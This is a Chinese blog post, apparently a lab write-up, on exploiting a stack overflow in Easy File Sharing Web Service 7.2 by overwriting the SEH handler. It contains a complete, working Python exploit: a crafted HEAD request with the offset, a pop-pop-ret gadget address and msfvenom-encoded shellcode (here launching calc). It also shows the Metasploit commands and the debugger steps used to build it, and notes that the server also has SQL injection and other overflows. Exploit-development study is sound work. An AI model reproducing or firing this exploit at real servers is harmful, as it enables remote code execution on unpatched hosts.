easy file sharing web service 7.2 buffer overflow分析

测试

【环境】:win7x86,kali
【坏字节】:\x00\x0a\0x0b
引用网上公布的资料,编写测试脚本。
首先利用msf生成一段pattern,用于后面的问题分析。

msf-pattern_create -l 5800 

套用脚本

#!/usr/bin/env python
# coding=utf-8
import socket
from struct import pack

host = '192.168.197.134'
port = 80

a = socket.socket()
pattern=...
a.send("HEAD " + pattern+ " HTTP/1.0\r\n\r\n")

a.close()

在win7中打开服务器,然后用调试器附加进程,并保持程序处于运行状态。切换kali系统,运行测试脚本,接着程序会被断下。
在这里插入图片描述
seh handler被覆盖了,用msf算出到seh handler的偏移

msf-pattern_offset -q 46356646 -l 5800

得到偏移是 4065
接下来尝试利用漏洞来实现代码执行。因为是测试,所以就让它弹出一个计算器吧。
首先用msf生成一段shellcode

msfvenom -p windows/exec CMD=calc EXITFUNC=thread -ex86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c

接着利用seh来实现代码执行。通过不断地调试才构造出合适的栈分布,大致如下图形式:

在这里插入图片描述
ppr就是 pop,pop,ret 形式的指令,这里使用的 Immunitydebug
选择没有开启 aslr,safeseh,pie的dll来获取 ppr ,例如 ImageLoader.dll
在这里插入图片描述
ImageLoader.dll 复制到kali的根目录下,利用msf寻找 ppr

msfconsole
msf > msfbinscan -p /root/ImageLoad.dll

在这里插入图片描述
发现搜索到的结果非常多,只要不包含 坏字节 的地址都是可用的,这里选取的是 0x10023623

【脚本】:

#!/usr/bin/env python
# coding=utf-8
import socket
from struct import pack

host = '192.168.197.134'
port = 80

a = socket.socket()
a.connect((host, port))
offset=4065
ppr=pack('<L',0x10023623)
shellcode="\xda\xd6\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49"+\
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"+\
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"+\
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x69"+\
"\x6c\x6b\x58\x4f\x72\x55\x50\x47\x70\x47\x70\x73\x50\x6f\x79"+\
"\x6d\x35\x44\x71\x49\x50\x62\x44\x4e\x6b\x36\x30\x44\x70\x6c"+\
"\x4b\x62\x72\x66\x6c\x6e\x6b\x56\x32\x62\x34\x4e\x6b\x44\x32"+\
"\x44\x68\x66\x6f\x4f\x47\x30\x4a\x46\x46\x36\x51\x6b\x4f\x4e"+\
"\x4c\x77\x4c\x70\x61\x53\x4c\x74\x42\x76\x4c\x47\x50\x5a\x61"+\
"\x7a\x6f\x66\x6d\x76\x61\x38\x47\x69\x72\x38\x72\x33\x62\x72"+\
"\x77\x4c\x4b\x43\x62\x54\x50\x6c\x4b\x42\x6a\x65\x6c\x6c\x4b"+\
"\x42\x6c\x67\x61\x50\x78\x4b\x53\x47\x38\x66\x61\x5a\x71\x52"+\
"\x71\x6c\x4b\x76\x39\x35\x70\x53\x31\x49\x43\x6c\x4b\x67\x39"+\
"\x55\x48\x39\x73\x55\x6a\x63\x79\x6c\x4b\x77\x44\x4e\x6b\x75"+\
"\x51\x79\x46\x45\x61\x39\x6f\x4e\x4c\x4f\x31\x58\x4f\x36\x6d"+\
"\x53\x31\x6a\x67\x37\x48\x6b\x50\x62\x55\x6c\x36\x46\x63\x61"+\
"\x6d\x78\x78\x57\x4b\x43\x4d\x55\x74\x73\x45\x6b\x54\x73\x68"+\
"\x6c\x4b\x73\x68\x34\x64\x56\x61\x6b\x63\x43\x56\x4e\x6b\x64"+\
"\x4c\x50\x4b\x6c\x4b\x42\x78\x65\x4c\x77\x71\x4b\x63\x6c\x4b"+\
"\x37\x74\x4e\x6b\x57\x71\x48\x50\x4d\x59\x62\x64\x64\x64\x31"+\
"\x34\x63\x6b\x31\x4b\x43\x51\x51\x49\x70\x5a\x63\x61\x49\x6f"+\
"\x4b\x50\x33\x6f\x61\x4f\x32\x7a\x4e\x6b\x67\x62\x58\x6b\x4c"+\
"\x4d\x61\x4d\x73\x5a\x65\x51\x6c\x4d\x4e\x65\x4e\x52\x33\x30"+\
"\x73\x30\x35\x50\x32\x70\x33\x58\x66\x51\x6c\x4b\x72\x4f\x4f"+\
"\x77\x79\x6f\x4e\x35\x4f\x4b\x4a\x50\x4f\x45\x59\x32\x76\x36"+\
"\x65\x38\x6f\x56\x7a\x35\x6d\x6d\x4f\x6d\x49\x6f\x68\x55\x47"+\
"\x4c\x46\x66\x43\x4c\x65\x5a\x6f\x70\x69\x6b\x4d\x30\x30\x75"+\
"\x64\x45\x4f\x4b\x61\x57\x46\x73\x31\x62\x62\x4f\x31\x7a\x37"+\
"\x70\x51\x43\x59\x6f\x38\x55\x30\x63\x50\x61\x52\x4c\x33\x53"+\
"\x36\x4e\x52\x45\x30\x78\x30\x65\x57\x70\x41\x41"

payload=(offset-2)*'\x90'+'\xeb\x04'
payload+=ppr
payload+=shellcode
a.send("HEAD " + payload + " HTTP/1.0\r\n\r\n")
a.close()

分析

根据poc,在IDA中搜索 HEAD 字符串,定位到相应位置:
在这里插入图片描述
重复前面的步骤,当程序断下来后单步调试,最终发现漏洞点在
在这里插入图片描述
a3 就是我们发送过来的数据,由于前面的解析不严谨,大小也没有限制,所以导致这里出现了栈溢出,并且还有sql注入的漏洞。跟进sub_496600
在这里插入图片描述
*this内容已被发送的数据覆盖成非法地址,因此会抛异常,也就是为什么开始的时候利用这个漏洞要用到 seh

实际上这个web服务器还有好几个地方出现了栈溢出,这里就不做分析了。

【参考】:
https://blog.csdn.net/l1028386804/article/details/86506457

总结

覆盖sehandler指针可以绕过GS保护,也可以在程序发生异常时劫持eip。
如果程序开启了 aslr 可以利用没有开启 aslr的dll。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值